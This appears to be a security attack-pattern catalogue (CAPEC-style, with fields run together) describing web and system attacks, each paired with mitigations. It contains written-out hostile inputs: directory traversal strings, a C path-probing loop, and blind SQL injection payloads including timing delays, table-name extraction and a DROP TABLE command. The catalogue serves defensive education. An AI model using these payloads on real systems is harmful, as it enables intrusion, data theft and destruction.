In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the application deployer failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.SurveyThe attacker surveys the target application, possibly as a valid and authenticated userSpidering web sites for all available linksenv-WebBrute force guessing of resource namesenv-AllBrute force guessing of user names / credentialsenv-AllBrute force guessing of function names / actionsenv-AllACLs or other access control mechanisms are present in the softwareenv-Web env-ClientServerUser IDs or other credentials are present in the softwareenv-Web env-ClientServerOperating modes with different privileges are present in the softwareenv-ClientServer env-Local env-EmbeddedIdentify FunctionalityAt each step, the attacker notes the resource or functionality access mechanism invoked upon performing specific actionsUse the web inventory of all forms and inputs and apply attack data to those inputs.env-WebUse a packet sniffer to capture and record network trafficenv-CommProtocolExecute the software in a debugger and record API calls into the operating system or important libraries. This might occur in an environment other than a production environment, in order to find weaknesses that can be exploited in a production environment.env-Local env-EmbeddedThe attacker produces a list of functionality or data that can be accessed through the system.Iterate over access capabilitiesPossibly as a valid user, the attacker then tries to access each of the noted access mechanisms directly in order to perform functions not constrained by the ACLs.Fuzzing of API parameters (URL parameters, OS API parameters, protocol parameters)env-Web env-Local env-Embedded env-ClientServerAttempts to create a catalog of access mechanisms and data have failed.env-AllFunctionality is accessible to unauthorized users.The application must be navigable in a manner that associates elements (subsections) of the application with ACLs.The various resources, or individual URLs, must be somehow discoverable by the attackerThe deployer must have forgotten to associate an ACL or has associated an inappropriately permissive ACL with a particular navigable resource.HighVery HighAnalysisBrute Force
Implementing the Model-View-Controller (MVC) within Java EE's Servlet paradigm using a "Single front controller" pattern that demands that brokered HTTP requests be authenticated before hand-offs to other Action Servlets.
If no security-constraint is placed on those Action Servlets, such that positively no one can access them, the front controller can be subverted.Low: In order to discover unrestricted resources, the attacker does not need special tools or skills. He only has to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly.No special resources are required for the exploit of this pattern.In the case of web applications, use of a spider or other crawling software can allow an attacker to search for accessible pages not beholden to a security constraint.More generally, noting the target resource accessed upon performing specific actions drives an understanding of the resources accessible from the current context.In a J2EE setting, deployers can associate a role that is impossible for the authenticator to grant users, such as "NoAccess", with all Servlets to which access is guarded by a limited number of servlets visible to, and accessible by, the user..
Having done so, any direct access to those protected Servlets will be prohibited by the web container.
In a more general setting, the deployer must mark every resource besides the ones supposed to be exposed to the user as accessible by a role impossible for the user to assume. The default security setting must be to deny access and then grant access only to those resources intended by business logic.
Privilege EscalationThe context of this pattern's applicability is most likely a web-based application, subject to an authorization framework. 285Targeted276TargetedAll resources must be constrained to be inaccessible by default followed by selectively allowing access to resources as dictated by application and business logicIn addition to a central controller, every resource must also restrict, wherever possible, incoming accesses as dictated by the relevant ACL.Failing SecurelyLeast PrivilegeReluctance To TrustComplete MediationUse Authorization Mechanisms CorrectlyDesign Configuration Subsystems Correctly and Distribute Safe Default ConfigurationsPenetrationHighMediumLowAllAllAllAll
An attacker leverages the security functionality of the system aimed at thwarting potential attacks to launch a denial of service attack against a legitimate system user. Many systems, for instance, implement a password throttling mechanism that locks an account after a certain number of incorrect log in attempts. An attacker can leverage this throttling mechanism to lock a legitimate user out of their own account. The weakness that is being leveraged by an attacker is the very security feature that has been put in place to counteract attacks.
Investigate account lockout behavior of system
Investigate the security features present in the system that may trigger an account lockout
Analyze system documentation to find list of events that could potentially cause account lockoutenv-Web env-ClientServer env-Local env-Embedded
Obtain user account in system and attempt to lock it out by sending malformed or incorrect data repeatedly
env-Web env-ClientServer env-Local env-Embedded
Determine another user's login ID, and attempt to brute force the password (or other credentials) for it a predetermined number of times, or until the system provides an indication that the account is locked out.
env-Web env-ClientServer env-Local env-Embedded
System provides error message stating that account being attacked is locked out.
env-Web env-ClientServer env-Local env-Embedded
After a certain number of login attempts with a given user ID, the amount of time it takes for system to respond to further login attempts changes noticably.
env-Web env-ClientServer env-Local env-Embedded
System has no automatic signup mechanism, and system provides no indication as to whether the attacker is entering incorrect credentials or the account is locked out during the login process.
env-Web env-ClientServer env-Local env-EmbeddedAttacker determines at least one way to lock out accounts.System provides no indication that account lockouts are possibleRepeated failed login attempts in application/system logs.Do not provide any indication to users that their accounts are locked out. Provide a simple error message such as: "Login failed. Try again or contact your administrator" regardless of why a login attempt fails.Obtain list of user accounts to lock out
Generate a list of valid user accounts to lock out
Obtain list of authorized users using another attack pattern, such as SQL Injection.
env-Web env-ClientServer env-Local env-Embedded
Attempt to create accounts if possible; system should indicate if a user ID is already taken.
env-Web env-ClientServer env-Local env-Embedded
Attempt to brute force user IDs if system reveals whether a given user ID is valid or not upon failed login attempts.
env-Web env-ClientServer env-Local env-EmbeddedSystem indicates which user IDs are valid and which are not to unauthenticated users.env-Web env-ClientServer env-Local env-EmbeddedAttacker gathers list of user IDsAttacker is unable to gather list of valid user IDs; attacker may still be able to lock out accounts by blindly guessing user IDs and performing a lockout procedure with each one.Avoid providing any indication regarding the validity of user IDs upon failed login attempts. Provide a simple error message such as: "Login failed. Try again or contact your administrator" regardless of why a login attempt fails.Lock Out Accounts
Perform lockout procedure for all accounts that the attacker wants to lock out.
For each user ID to be locked out, perform the lockout procedure discovered in the first step.
env-Web env-ClientServer env-Local env-EmbeddedSuccess outcome in first stepenv-Web env-ClientServer env-Local env-EmbeddedFailure outcome in first stepenv-Web env-ClientServer env-Local env-EmbeddedAmount of work required by an attacker to lock out a large number of accounts is at least an order of magnitude smaller than the amount of work required to unlock the accounts thereafter.The large amount of work required by an attacker to lock out a large number of accounts makes this an unattractive attack.
The system has a lockout mechanism.
An attacker must be able to reproduce behavior that would result in an account being locked.
MediumHighAPI AbuseFloodingBrute Force
A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.
Low
Computer with access to the login portion of the target system
Implement intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.
When implementing security features, consider how they can be misused and made to turn on themselves.
Denial of Service400Secondary
An attacker intentionally introduces leading characters that enable getting the input past the filters. The API that is being targetted, ignores the leading "ghost" characters, and therefore processes the attacker's input. This occurs when the targetted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targetted API.
Some APIs will strip certain leading characters from a string of parameters. Perhaps these characters are considered redundant, and for this reason they are removed. Another possibility is the parser logic at the beginning of analysis is specialized in some way that causes some characters to be removed. The attacker can specify multiple types of alternative encodings at the beginning of a string as a set of probes.
One commonly used possibility involves adding ghost characters—extra characters that don’t affect the validity of the request at the API layer. If the attacker has access to the API libraries being targeted, certain attack ideas can be tested directly in advance. Once alternative ghost encodings emerge through testing, the attacker can move from lab-based API testing to testing real-world service implementations.
Determine if the source code is available and if so, examine the filter logic.
If the source code is not available, write a small program that loops through various possible inputs to given API call and tries a variety of alternate (but equivalent) encodings of strings with leading ghost characters. Knowlege of frameworks and libraries used and what filters they apply will help to make this search more structured.
Observe the effects. See if the probes are getting past the filters. Identify a string that is semantically equivalent to that which an attacker wants to pass to the targeted API, but syntactically structured in a way as to get past the input filter. That encoding will contain certain ghost characters that will help it get past the filters. These ghost characters will be ignored by the targeted API.
Once the "winning" alternate encoding using (typically leading) ghost characters is identified, an attacker can launch the attacks against the targetted API (e.g. directory traversal attack, arbitrarary shell command execution, corruption of files)
The targetted API must ignore the leading ghost characters that are used to get past the filters for the semantics to be the same.
MediumMediumInjectionAPI AbuseAlternate Encoding with Ghost Characters in FTP and Web Servers
Some web and FTP servers fail to detect prohibited upward directory traversals if the user-supplied pathname contains extra characters such as an extra leading dot. For example, a program that will disallow access to the pathname “../test.txt” may erroneously allow access to that file if the pathname is specified as “…/test.txt”. This attack succeeds because 1) the input validation logic fails to detect the triple-dot as a directory traversal attempt (since it isn’t dot-dot), 2) some part of the input processing decided to strip off the “extra” dot, leaving the dot-dot behind.
Using the file system API as the target, the following strings are all equivalent to many programs:
.../../../test.txt
............/../../test.txt
..?/../../test.txt
..????????/../../test.txt
../test.txt
As you can see, there are many ways to make a semantically equivalent request. All these strings ultimately result in a request for the file ../test.txt.
Medium
Perform white list rather than black list input validation.
Canonicalize all data prior to validation.
Take an iterative approach to input validation (defense in depth).
Privilege EscalationData Modification
Building “Equivalent” Requests
A large number of commands are subject to parsing or filtering. In many cases a filter only considers one particular way to format a command. The fact is that the same command can usually be encoded in thousands of different ways. In many cases, an alternative encoding for the command will produce exactly the same results as the original command. Thus, two commands that look different from the logical perspective of a filter end up producing the same semantic result. In many cases, an alternatively encoded command can be used to attack a software system, because the alternative command allows an attacker to perform an operation that would otherwise be blocked.
Mapping the API Layer
A good approach to help identify and map possible alternate encodings involves writing a small program that loops through all possible inputs to a given API call. This program can, for example, attempt to encode filenames in a variety of ways. For each iteration of the loop, the “mungified” filename can be passed to the API call and the result noted.
The following code snippet loops through many possible values that can be used as a prefix to the string \test.txt. Results of running a program like this can help us to determine which characters can be used to perform a ../../ (dots and slashes) relative traversal attack.
int main(int argc, char* argv[])
{
for(unsigned long c=0x01010101;c != -1;c++)
{
char _filepath[255];
sprintf(_filepath, "%c%c%c%c\\test.txt", c >> 24, c >> 16, c >> 8, c&0x000000FF );
try
{
FILE *in_file = fopen(_filepath, "r");
if(in_file)
{
printf("checking path %s\n", _filepath);
puts("file opened!");
getchar();
fclose(in_file);
}
}
catch(...)
{
}
}
return 0;
}
Slight (but still automatic) modifications can be made to the string in creative ways. Ultimately, the modified string boils down to an attempt to use different tricks to obtain the same file. For example, one resulting attempt might try a command like this:
sprintf(_filepath, "..%c\\..%c\\..%c\\..%c\\scans2.txt", c, c, c, c);
A good way to think about this problem is to think of layers. The API call layer is what the examples shown here are mapping. If an engineer has placed any filters in front of the API call, then these filters can be considered additional layers, wrapping the original set of possibilities. By pondering all the possible inputs that can be provided at the API layer, we can begin uncovering and exercising any filters that the software has in place. If we know that the software definitely uses file API calls, we can try all kinds of filename encoding tricks that we know about. If we get lucky, eventually one set of encoding tricks will work, and we can get our data successfully through the filters and into the API call.
Drawing on the techniques described in Chapter 5 of "Exploiting Software: How to Break Code" (See reference - G. Hoglund and G. McGraw) , we can list a number of possible escape codes that can be injected into API calls (many of which help with the filter avoidance problem). If the data are eventually being piped into a shell, for example, we might be able to get control codes to take effect. A particular call may write data to a file or a stream that are eventually meant to be viewed on a terminal or in a client program. As a simple example, the following string contains two backspace characters that
are very likely to show up in the terminal’s execution:
write("echo hey!\x08\x08");
When the terminal interprets the data we have passed in, the output will be missing the last two characters of the original string. This kind of trick has been used for ages to corrupt data in log files. Log files capture all kinds of data about a transaction. It may be possible to insert NULL characters (for
example, %00 or '\0') or to add so many extra characters to the string that the request is truncated in the log. Imagine a request that has more than a thousand extra characters tacked on at the end. Ultimately, the string may be trimmed in the log file, and the important telltale data that expose an attack will be lost.
Ghost Characters
Ghost characters are extra characters that can be added to a request. The extra characters are designed not to affect the validity of the request. One easy example involves adding extra slashes to a filename. In many cases, the strings
/some/directory/test.txt
and
/////////////////some/////////////directory//////////////test.txt
are equivalent requests.
From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
Web Form, URL, Network Socket, File
The payload is the parameter that an attacker is supplying to the targetted API that will allow the attacker to elevate privilege and subvert the authorization service.
The targetted API is the activation zone. These attacks often target the file system or the shell to execute commands.
Failure in authorization service may lead to compromises in data confidentiality and integrity.
173Targeted41Targeted172Targeted171Targeted179Targeted180Targeted181Secondary183Secondary184Secondary20Targeted74Targeted
Defense in Depth
Reluctance to Trust
Least Privilege
Perform input validation and filtering on data in its canonical form.Understand the APIs to which user input will be passed and know how permissive they are. Perform appropriate input validation given that information.ExploitationLowLowHighAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This attack relies on the attacker using unexpected formats for representing IP addresses. Networked applications may expect network location information in a specific format, such as fully qualified domains names, URL, IP address, or IP Address ranges. The issue that the attacker can exploit is that these design assumptions may not be validated against a variety of different possible encodings and network address location formats. Applications that use naming for creating policy namespaces for managing access control may be susceptible to queryin directly by IP addresses, which is ultimately a more generally authoritative way of communicating on a network.
Alternative IP addresses can be used by the attacker to bypass application access control in order to gain access to data that is only protected by obscuring its location.
In addition this type of attack can be used as a reconnaissance mechansim to provide entry point information that the attacker gathers to penetrate deeper into the system.
The target software must fail to anticipate all of the possible valid encodings of an IP/web address.
HighMediumInjectionProtocol ManipulationAPI Abuse
An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.
Low → The attacker has only to try IP address combinations.
Ability to communicate with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Design: Default deny access control policies
Design: Input validation routines should check and enforce both input data types and content against a positive specification. In regards to IP addresses, this should include the authorized manner for the application to represent IP addresses and not accept user specified IP addresses and IP address formats (such as ranges)
Implementation: Perform input validation for all remote content.
Privilege Escalation
“Attack Pattern: Alternative IP Addresses
"IP address ranges can be represented using alternative methods. Here are some examples:
192.168.0.0/24
192.168.0.0/255.255.255.0
192.168.0.*
Classic encoding techniques can be directed against IP numbers as well."
[Hoglund and McGraw 04]
Malicious input delivered through standard input
Varies with instantiation of attack pattern. Malicious payload may be passed directly from appliation client, such as the web browser.
Client machine and client network
Enables attacker to view and access unexpected network services.
291Targeted180Targeted41Targeted345TargetedPenetrationMediumMediumHighAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This attack against older telephone switches and trunks has been around for decades. The signal is sent by the attacker to impersonate a supervisor signal. This has the effect of rerouting or usurping command of the line and call. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded telco infrastructure and so are vulnerable to Blue boxing.
Blue boxing is a result of failure on the part of the system to enforce strong authentication for administrative functions. While the infrastructure is different than standard current applications like web applications, there are hisotrical lessons to be learned to upgrade the access control for administrative functions.
System must use weak authentication mechanisms for administrative functions.
Very HighMediumInjectionProtocol Manipulation
Attacker identifies a vulnerable CCITT-5 phone line, and sends a combination tone to the switch in order to request administrative access. Based on tone and timing parameters the request is verified for access to the switch. Once the attacker has gained control of the switch launching calls, routing calls, and a whole host of opportunities are available.
Low: Given a vulnerable phone system, the attacker's technical vector relies on attacks that are well documented in cracker 'zines and have been around for decades.
CCITT-5 or other vulnerable lines, with the ability to send tones such as combined 2,400 Hz and 2,600 Hz tones to the switch
Implementation: Upgrade phone lines. Note this may be prohibitively expensive
Use strong access control such as two factor access control for adminsitrative access to the switch
Denial of ServicePrivilege Escalation
“Attack Pattern: Analog In-band Switching Signals (aka "Blue Boxing")
Many people have heard of 2600, the frequency used in the United States to control telephone switches during the 1960s and 1970s. (Come to think of it, probably more people have heard of the hacker 'zine 2600 and its associated club than have heard of the reason for the name of the club,) Most systems are no longer vulnerable to ancient phreaking attacks. However older systems are still found internationally. Overseas trunk lines that use trans-Atlantic cabling are prone to the in-band signal problem, and they are too expensive a resource to abandon. Thus, many overseas (home-country direct) 800/888 numbers are known to have in-band signal problems even today.
Consider the CCITT-5(C5) signaling system that is used internationally. This system does not use the commonly known 2,600 Hz, but instead uses 2,400Hz as a control signal. If you have ever heard the "pleeps" and chirps on the Pink Floyd album "The Wall," then you have heard C5 signals. There are millions of phone lines still in operation today that are routed through switches with in-band signaling.
This attack pattern involves playing specific control commands across a normal voice link, thus seizing control of the line, rerouting calls, and so on."
[Hoglund and McGraw 04]
Payload delivered through standard communication protocols.
Command(s) executed directly on host
Client machine and client network
Enables calls to be rerouted.
264TargetedPenetrationLowMediumMediumOtherOtherOtherAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be directly or indirectly applied as arguments, for example as shell commands. This may allow an attacker access to files, network resources, media, and in short anything accessible through the shell.
The argument injection attack uses the exposed service or method as a launch pad to invoke other programs. If the service does not validate or filter the input data then the client program is granted access to execute commands using the server's privileges. The OS commands can be appended to standard input for shell programs, HTTP Requests, and XML messages. The ability to invoke commands is not necessarily sufficient for the attacker to collect the output of the attack. This may or may not be an issue depending on the attacker goal.
Target software fails to strip all user-supplied input of any content that could cause the shell to perform unexpected actions.
Software must allow for unvalidated or unfiltered input to be executed on operating system shell, and, optionally, the system configuration must allow for output to be sent back to client.
HighHighInjectionA recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell.
Source http://www.securityfocus.com/archive/1/393696
Medium → The attacker has to identify injection vector, identify the operating system-specific commands, and optionally collect the output.
Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Design: Do not program input values directly on command shell, instead treat user input as guilty until proven innocent. Build a function that takes user input and converts it to applications specific types and values, stripping or filtering out all unauthorized commands and characters in the process.
Design: Limit program privileges, so if metacharcters or other methods circumvent program input validation routines and shell access is attained then it is not running under a privileged account. chroot jails create a sandbox for the application to execute in, making it more difficult for an attacker to elevate privilege even in the case that a compromise has occurred.
Implementation: Implement an audit log that is written to a separate host, in the event of a compromise the audit log may be able to provide evidence and details of the compromise.
Privilege EscalationData ModificationInformation Leakage
“Attack Pattern: Argument Injection
"User input is directly pasted into the argument of a shell command. A number of third-party programs allow passthrough to a shell with little or no filtering."
[Hoglund and McGraw 04]
Malicious input delivered through standard input, the attacker inserts additional arguments on the application's standard interface
Varies with instantiation of attack pattern. Malicious payload either pass commands through valid paramters or supply metacharacters that cause unexpected termination that redirects to shell
Client machine and client network (e..g Intranet)
Enables attacker to execute server side code with any commands that the program owner has privileges to, this is particularly problematic when the sprogram is run as a system or privileged account.
77Targeted146Targeted184Targeted78Targeted185TargetedNever Use Input as Part of a Directive to any Internal ComponentPenetrationLowHighLowAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the attacker constructs input strings that probe the target through simple Boolean SQL expressions. The attacker can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the attacker determines how and where the target is vulnerable to SQL Injection.
In order to achieve this using Blind SQL Injection, an attacker:
For example, an attacker may try entering something like "username' AND 1=1; --" in an input field. If the result is the same as when the attacker entered "username" in the field, then the attacker knows that the application is vulnerable to SQL Injection. The attacker can then ask yes/no questions from the database server to extract information from it. For example, the attacker can extract table names from a database using the following types of queries:
"username' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 108".
If the above query executes properly, then the attacker knows that the first character in a table name in the database is a letter between m and z. If it doesn't, then the attacker knows that the character must be between a and l (assuming of course that table names only contain alphabetic characters). By performing a binary search on all character positions, the attacker can determine all table names in the database. Subsequently, the attacker may execute an actual attack and send something like:
"username'; DROP TABLE trades; --
Hypothesize SQL queries in applicationGenerated hypotheses regarding the SQL queries in an application. For example, the attacker may hypothesize that his input is passed directly into a query that looks like:
"SELECT * FROM orders WHERE ordernum = _____"
or
"SELECT * FROM orders WHERE ordernum IN (_____)"
or
"SELECT * FROM orders WHERE ordernum in (_____) ORDER BY _____"
Of course, there are many other possibilities.
Research types of SQL queries and determine which ones could be used at various places in an application.env-AllDetermine how to inject information into the queriesDetermine how to inject information into the queries from the previous step such that the injection does not impact their logic. For example, the following are possible injections for those queries:
"5' OR 1=1; --"
and
"5) OR 1=1; --"
and
"ordernum DESC; --"
Add clauses to the SQL queries such that the query logic does not change.env-AllAdd delays to the SQL queries in case server does not provide clear error messages (e.g. WAITFOR DELAY '0:0:10' in SQL Server or BENCHMARK(1000000000,MD5(1) in MySQL). If these can be injected into the queries, then the length of time that the server takes to respond reveals whether the query is injectable or not.env-AllAt least one way to complete a hypothesized SQL query that would violate the application developer's assumptions.Determine user-controllable input susceptible to injectionDetermine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject the values determined in the previous step. If an error does not occur, then the attacker knows that the SQL injection was successful.Use web browser to inject input through text fields or through HTTP GET parameters.env-WebUse a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.env-WebUse network-level packet injection tools such as netcat to inject inputenv-Web env-ClientServer env-Peer2Peer env-CommProtocolUse modified client (modified by reverse engineering) to inject input.env-ClientServer env-Peer2Peer env-CommProtocolAttacker receives normal response from server.env-Web env-ClientServer env-Peer2Peer env-CommProtocolResponse takes expected amount of time after delay is injected.env-Web env-ClientServer env-Peer2Peer env-CommProtocolServer sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException)env-Web env-ClientServer env-Peer2Peer env-CommProtocolAt least one user-controllable input susceptible to injection found.No user-controllable input susceptible to injection found.Unusual queries such as the ones described in the previous step, in application logs. Log files may contain unusual messages such as "User bob' OR 1=1; -- logged in". Operators should be alerted when such SQL commands appear in the logs.Input validation of user-controlled data before including it in a SQL queryUse APIs that help mitigate SQL injection (such as PreparedStatement in Java)Determine database typeDetermines the type of the database, such as MS SQL Server or Oracle or MySQL, using logical conditions as part of the injected queriesTry injecting a string containing char(0x31)=char(0x31) (this evaluates to 1=1 in SQL Server only)env-Web env-ClientServer env-Peer2Peer env-CommProtocolTry injecting a string containing 0x313D31 (this evaluates to 1=1 in MySQL only)env-Web env-ClientServer env-Peer2Peer env-CommProtocolInject other database-specific commands into input fields susceptible to SQL Injection. The attacker can determine the type of database that is running by checking whether the query executed successfully or not (i.e. wheter the attacker received a normal response from the server or not).env-Web env-ClientServer env-Peer2Peer env-CommProtocolSuccess outcome in previous stepenv-Web env-ClientServer env-Peer2Peer env-CommProtocolFailure outcome in previous stepenv-Web env-ClientServer env-Peer2Peer env-CommProtocolDatabase platform in use discovered.Database platform in use not discovered.Extract information about database schemaExtract information about database schema by getting the database to answer yes/no questions about the schema.Automatically extract database schema using a tool such as Absinthe.env-WebManually perform the blind SQL Injection to extract desired information about the database schema.env-Web env-ClientServer env-Peer2Peer env-CommProtocolSuccess outcome in previous step.env-Web env-ClientServer env-Peer2Peer env-CommProtocolFailure outcome in previous step.env-Web env-ClientServer env-Peer2Peer env-CommProtocolDesired information about database schema extracted.Desired information about database schema could not be extracted.Large number of unusual queries in database logs.Exploit SQL Injection vulnerabilityUse the information obtained in the previous steps to successfully inject the database in order to bypass checks or modify, add, retrieve or delete data from the databaseUse information about how to inject commands into SQL queries as well as information about the database schema to execute attacks such as dropping tables, inserting records, etc.env-Web env-ClientServer env-Peer2Peer env-CommProtocolSuccess outcome in previous step.env-Web env-ClientServer env-Peer2Peer env-CommProtocolFailure outcome in previous step.env-Web env-ClientServer env-Peer2Peer env-CommProtocolAttacker achieves goal of unauthorized system access, denial of service, etc.Attacker cannot exploit the information gathered by blind SQL InjectionSQL queries used by the application to store, retrieve or modify data.User-controllable input that is not properly validated by the application as part of SQL queries.HighHighInjectionAnalysisIn the PHP application TimeSheet 1.1, an attacker can successfully retrieve username and password hashes from the database using Blind SQL Injection. If the attacker is aware of the local path structure, the attacker can also remotely execute arbitrary code and write the output of the injected queries to the local path. Blind SQL Injection is possible since the application does not properly sanitize the $_POST['username'] variable in the login.php file.CVE-2006-4705Medium - Determining the database type and version, as well as the right number and type of parameters to the query being injected in the absence of error messages requires greater skill than reverse-engineering database error messages.NoneIn order to determine the right syntax for the query to inject, the attacker tries to determine the right number of parameters to the query and their types. This is achieved by formulating conditions that result in a true/false answer from the database. If the logical condition is true, the database will execute the rest of the query. If not, a custom error page or a default page is returned. Another approach is to ask such true/false questions of the database and note the response times to a query with a logically true condition and one with a false condition.The only indicators of successful Blind SQL Injection are the application or database logs that show similar queries with slightly differing logical conditions that increase in complexity over time. However, this requires extensive logging as well as knowledge of the queries that can be used to perform such injection and return meaningful information from the database.Security by Obscurity is not a solution to preventing SQL Injection. Rather than suppress error messages and exceptions, the application must handle them gracefully, returning either a custom error page or redirecting the user to a default page, without revealing any information about the database or the application internals.Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear.Data ModificationInformation LeakageRun Arbitrary CodeAn attacker attempts Blind SQL Injection when traditional SQL Injection is not possible due to suppression of error messages.
Blind SQL Injection is performed by appending logical conditions to the query being injected such that they evaluate to true or false in the context of the data stored in the database. The first step is to get the syntax for the injected query right. For example, consider a database that has a table named "users". Consider the following query:
SELECT fname, lname, dob, ssn, address FROM users WHERE userid="user1" AND password="user1pwd";
To determine whether the "userid" field is injectable or not, the attacker tries an input such as
user1" AND 3>1+1;--
This causes the following query
SELECT fname, lname, dob, ssn, address FROM users WHERE userid="user1" AND 3>1+1;--
to be passed to the database. If the parameter is injectable, the database evaluates 3>1+1 to be true and executes the query. If, on the other hand, a condition such as 3<2 were passed, the database would return an error. Since the application suppresses such errors, the attacker never sees it. However, the application may simply hang or it may redirect to a custom error page or a default page, which is definitely an indication that the injected condition was evaluated to be false. The query can also fail if the original condition was within parentheses, such as
WHERE (userid="johns" AND password="abracadabra")
In such a case, the attacker will have to try injection such that the parentheses match up.
Once the attacker gets the syntax right, the next step is to identify the database. This can be achieved by using operators that are unique to each database engine. For example, a condition such as "abc" = "a"+"bc" evaluates to true on MS SQL Server whereas it evaluates to false on Oracle since the concatentation operator is ||. Another approach is using system-specific functions such as those for date and time.
The next step is to determine the number and type of parameters. This can again be achieved by exploiting the SELECT...WHERE conditions or using UNION SELECT statements with dummy numeric or character-based parameters.
Once the type of database as well as the structure of the query has been mapped out by asking a number of questions to the database, the attacker is in a position to inject the database and extract information from it.
Blind SQL Injection is a classic example of solution by reduction where the domain to be attacked is successively narrowed down by the attacker through true or false queries to the database.
User-controllable input to the applicationSQL statements intended to bypass checks or retrieve information about the databaseBack-end databaseThe injected SQL statements are such that they result in a true/false query to the database. If the database evaluates a statement to be logically true, it responds with the requested data. If the condition is evaluated to be logically false, an error is returned. The attacker modifies the boolean condition each time to gain information from the database.89Targeted209Targeted74Secondary20Secondary390Secondary66Occasionally PrecedesCustom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database.Special characters in user-controllable input must be escaped before use by the application.Employ application-level safeguards to filter data and handle exceptions gracefully.Reluctance to TrustFailing SecurelyDefense in DepthNever Use Input as Part of a Directive to any Internal ComponentHandle All Errors SafelyPenetrationHighHighHighAllAllAllAllCWE - Input ValidationCWE - Improper Error Handling
An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. It is possible that the application does not handle situations properly where access to these libraries has been blocked. Depending on the error handling within the application, blocked access to libraries may leave the system in an insecure state that could be leveraged by an attacker.
Determine what external libraries the application accesses.
Block access to the external libraries accessed by the application.
Monitor the behavior of the system to see if it goes into an insecure/inconsistent state.
If the system does go into an insecure/inconsistent state, leverage that to obtain information about the system functionality or data, elevate access control, etc. The rest of this attack will depend on the context and the desired goal.
An application requires access to external libraries.
An attacker has the priviliges to block application access to external libraries.
MediumMediumAPI AbuseModification of Resources
A web-based system uses a third party cryptographic random number generation library that derives entropy from machine's hardware. This library is used in generation of user session ids used by the applicatoin. If the library is inaccessible, the application instead uses a software based weak pseudo random number generation library. An attacker of the system blocks access of the application to the third party cryptographic random number generation library (by renaming it). The application in turn uses the weak pseudo random number generation library to generate session ids that are predictable. An attacker then leverages this weakness to guess a session id of another user to perform a horizontal elevation of privilege escalation and gain access to another user's account.
Low
Ensure that application handles situations where access to APIs in external libraries is not available securely. If the application cannot continue its execution safely it should fail in a consistent and secure fashion.
Denial of ServiceInformation LeakagePrivilege Escalation589Targeted227TargetedFailing SecurelyExploitationLowLowHighAllAllAllAll
This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An attacker who has access to an API may try to embed malicious code in the API function call and exploit a buffer overflow vulnerability in the function's implementation. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process. 1- An attacker can call an API exposed by the target host.2- On the probing stage, the attacker injects malicious code using the API call and observes the results. The attacker's goal is to uncover a buffer overflow vulnerability.3- The attacker finds a buffer overflow vulnerability, crafts malicious code and injects it through an API call. The attacker can at worst execute remote code on the target host.The target host exposes an API to the user.One or more API functions exposed by the target host has a buffer overflow vulnerability.HighHighAPI AbuseInjectionAttack Example: Libc in FreeBSD
A buffer overflow in the FreeBSD utility setlocale (found in the libc module) puts many programs at risk all at once.
Xtlib
A buffer overflow in the Xt library of the X windowing system allows local users to execute commands with root privileges.
Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS.
